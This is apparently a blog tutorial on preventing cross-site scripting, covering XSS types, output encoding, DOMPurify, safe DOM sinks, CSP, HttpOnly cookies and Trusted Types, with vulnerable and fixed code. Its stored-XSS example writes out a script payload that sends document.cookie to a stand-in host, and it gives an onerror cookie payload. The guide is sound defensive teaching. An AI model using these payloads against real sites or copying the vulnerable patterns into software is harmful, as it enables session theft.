How to Prevent XSS (Cross-Site Scripting)
A practical guide to stopping XSS through contextual output encoding, framework escaping, sanitization, CSP, and Trusted Types.
Key takeaways
A practical guide to stopping XSS through contextual output encoding, framework escaping, sanitization, CSP, and Trusted Types.
On this page
Cross-site scripting is still on nearly every appsec top-ten list, and the reason is boring: attacker-controlled data ends up in a page as executable markup instead of inert text. Fix that one thing correctly and most XSS disappears. This post walks through the three flavors of XSS, the root fix, and the defense-in-depth layers you stack on top.
The three types of XSS#
Stored XSS: The payload is saved server-side and served to every visitor. Classic case is a comment field. A user submits <script>fetch('https://evil.tld/c?'+document.cookie)</script> as their comment, your app writes it to the database, and every reader who loads the thread runs it. This is the worst kind because it needs no social engineering.
Reflected XSS: The payload rides in the request and bounces straight back into the response. A search page that renders You searched for: <the query> without encoding lets an attacker craft https://app.tld/search?q=<script>...</script> and send it to a victim. The server reflects the query into HTML and the browser executes it.
DOM-based XSS: The vulnerability never touches the server. Client-side JavaScript reads untrusted input and writes it into a dangerous sink. For example:
// Reads location.hash and drops it straight into the DOM.
document.getElementById('welcome').innerHTML =
'Hi ' + decodeURIComponent(location.hash.slice(1));
// URL: https://app.tld/#<img src=x onerror=alert(document.cookie)>
The server sends clean HTML; the browser assembles the exploit locally. Your WAF and server-side filters never see it.
The root fix: contextual output encoding#
XSS is an output problem, not an input problem. The durable fix is encoding data for the exact context it lands in, at the moment you render it. The same string is safe in one context and dangerous in another, so "escape on input" fails. You need context awareness:
- HTML body: encode
< > & " 'to entities.<becomes<. - HTML attribute: encode the same set and always quote the attribute. An unquoted attribute value can break out with a space.
- JavaScript: if you must inject data into a script block, use a JSON serializer, not string concatenation. Hex-encode non-alphanumerics.
- URL: percent-encode with
encodeURIComponent, and rejectjavascript:anddata:schemes inhrefandsrc.
Encoding for the wrong context is a real bug. HTML-encoding a value that lands inside a <script> block does nothing useful, because the JavaScript parser does not decode HTML entities.
Why frameworks auto-escape, and where the holes are#
Modern frameworks default to HTML-body encoding on interpolation, which is why greenfield React and Vue apps rarely have basic XSS. In React, {userInput} is escaped. In Vue, {{ userInput }} is escaped. Angular treats interpolated values as untrusted by default.
The problem is the escape hatches. Every framework ships a way to render raw HTML, and every one of them reintroduces XSS if you hand it untrusted data:
- React:
dangerouslySetInnerHTML - Vue:
v-html - Angular:
[innerHTML]with bypassed sanitization - Raw DOM:
innerHTML,outerHTML,document.write,insertAdjacentHTML
The dangerously prefix is a deliberate warning. Treat any grep hit on these as a code review flag.
Sanitizing HTML you actually have to render#
Sometimes you genuinely need to render user-authored HTML, such as rich-text comments or markdown output. You cannot encode it, because encoding would show the tags as literal text. Instead, sanitize it against an allowlist. Use a maintained library like DOMPurify. Do not write your own regex sanitizer; you will lose to <img src=x onerror=...> and mutation-based bypasses.
Here is the vulnerable React version next to the fixed one:
// VULNERABLE: renders attacker HTML verbatim.
function Comment({ body }) {
return <div dangerouslySetInnerHTML={{ __html: body }} />;
}
// FIXED: sanitize against an allowlist before rendering.
import DOMPurify from 'dompurify';
function Comment({ body }) {
const clean = DOMPurify.sanitize(body, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href'],
});
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
The fix keeps the rich-text feature while stripping scripts, event handlers, and dangerous URL schemes. Configure the allowlist to the smallest set your feature needs.
Avoiding DOM-XSS sinks#
DOM-based XSS is prevented by choosing safe sinks. The core rule: when you are inserting text, use a text API, not an HTML API.
// VULNERABLE: string becomes markup, onerror fires.
const name = decodeURIComponent(location.hash.slice(1));
el.innerHTML = 'Hi ' + name;
// FIXED: textContent never parses HTML.
el.textContent = 'Hi ' + name;
// If you need structured nodes, build them explicitly.
const strong = document.createElement('strong');
strong.textContent = name; // still inert
el.append('Hi ', strong);
Keep eval, new Function, document.write, and setTimeout('string') out of the codebase entirely. They turn strings into code and have no place in application logic. A lint rule that bans these sinks is cheap insurance.
Content-Security-Policy: defense in depth#
Encoding is the fix; CSP is the seatbelt for the bug you missed. A strict policy tells the browser which scripts may run, so an injected <script> is refused even when it slips into the DOM. Prefer a nonce or hash-based policy over host allowlists:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-r4nd0m';
object-src 'none';
base-uri 'none';
Every legitimate inline script carries the matching nonce attribute; anything the attacker injects lacks it and is blocked. Avoid 'unsafe-inline' and 'unsafe-eval', which defeat the point. There is more nuance on rollout and reporting in the HTTP security headers guide.
HttpOnly cookies and Trusted Types#
Two more layers reduce the blast radius:
HttpOnly cookies: Mark session cookies HttpOnly so document.cookie cannot read them. If an XSS still fires, the attacker cannot exfiltrate the session token through JavaScript. Pair it with Secure and SameSite.
Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax; Path=/
Trusted Types: A browser feature that makes DOM-XSS sinks refuse plain strings. With require-trusted-types-for 'script' set, assigning a raw string to innerHTML throws unless it passed through a policy you defined. It moves sink safety from "remember to be careful" to "the platform enforces it," and it pairs naturally with DOMPurify, which can emit TrustedHTML directly.
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types default dompurify;
The call we'd make#
Encode output for its context and let your framework do it by default; that removes the overwhelming majority of XSS. When you must render user HTML, sanitize it with DOMPurify against a tight allowlist, never a hand-rolled filter. Ban the DOM-XSS sinks with a lint rule so they never reach review. Then layer defense in depth: a strict nonce-based CSP, HttpOnly session cookies, and Trusted Types where the browser support fits your users. None of these layers is optional in a serious app, because each one catches the failure of the layer above it. For where XSS fits in the broader program, see our application security best practices.
Get the DevOps Troubleshooting Cheat Sheet
Subscribe and get our free one-page reference for the errors that eat an afternoon — CrashLoopBackOff, OOMKilled, Terraform state locks, and more — plus new guides as we publish them.
CircleCI Best Practices in 2026: Fast, Safe Pipelines
A production-focused CircleCI guide: orbs, reusable commands and executors, workflows with fan-in/fan-out, contexts and OIDC for secrets, layered caching, test splitting, approval jobs, and dynamic config — with copy-paste examples.
Tracking Down High CPU on Linux
A field-tested workflow for finding which process burns your CPU and whether the time is user, system, or iowait.
More from DevOps
Explore more articles in this category
Kubernetes vs Docker Swarm in 2026: Is Swarm Still Worth It?
Swarm lost the orchestration war years ago, but it's still shipping and still simpler. Here is what that simplicity actually buys you, and what it costs.
Best Kubernetes IDE and GUI Tools in 2026
kubectl is fine until you're juggling five namespaces across three clusters. These are the tools that make that manageable, compared.
Chef vs Puppet vs Ansible: Configuration Management in 2026
One is agentless and Python-based, the other two run a persistent agent and a domain-specific language. The architecture difference matters more than the syntax.
You might have missed
Evergreen posts worth revisiting.